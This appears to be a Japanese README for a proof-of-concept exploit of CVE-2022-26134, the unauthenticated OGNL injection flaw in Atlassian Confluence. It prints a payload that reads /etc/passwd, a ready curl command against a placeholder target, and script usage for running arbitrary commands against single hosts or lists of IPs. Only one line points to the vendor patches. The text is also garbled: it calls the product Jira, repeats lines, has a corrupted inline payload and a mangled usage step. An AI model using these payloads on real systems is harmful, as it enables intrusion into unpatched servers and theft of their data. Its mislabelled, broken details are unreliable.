
Atlassian Jiraのエクスプロイト向けのシンプルなPoC。サーバー上の未認証ユーザーにコード実行を提供します。
Atlassian Jira エクスプロイトのためのシンプルな PoC です。認証されていないユーザーに対してサーバー上でコード実行を提供します。
CVE-2022-26134 - OGNL インジェクション脆弱性。
Atlassian Confluence 7.18 以前の製品に影響を与えるリモートコード実行脆弱性を悪用する概念実証スクリプト。OGNL インジェクションの脆弱性により、認証されていないユーザーが Confluence Server または Data Center インスタンス上で任意のコードを実行できます。
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
CURL コマンドの例:
curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D"
その後、コマンドの結果はレスポンスヘッダーの X-Cmd-Response パラメータに反映されます。
ベンダーからの緩和ガイドライン
Atlassian の公式推奨事項に従ってください: https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
Atlassian はこの問題のパッチを含むバージョン 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4, 7.18.1 をリリースしました。
1. git clone https://github.com/iveresk/cve-2022-26134.git
2. cd cve-2022-26134
3. pip install -r requirements.txt
4. Ex#1: python3 cve-2022-26134.py <IP> <COMMAND> - command is optional - default will be set as "whoami" just to check if your server is vulnerable
5. Ex#2: 4. Ex#1: python3 cve-2022-26134.py <FILE-WITH-IPs> <COMMAND>
詳細については、Keybase からご連絡ください。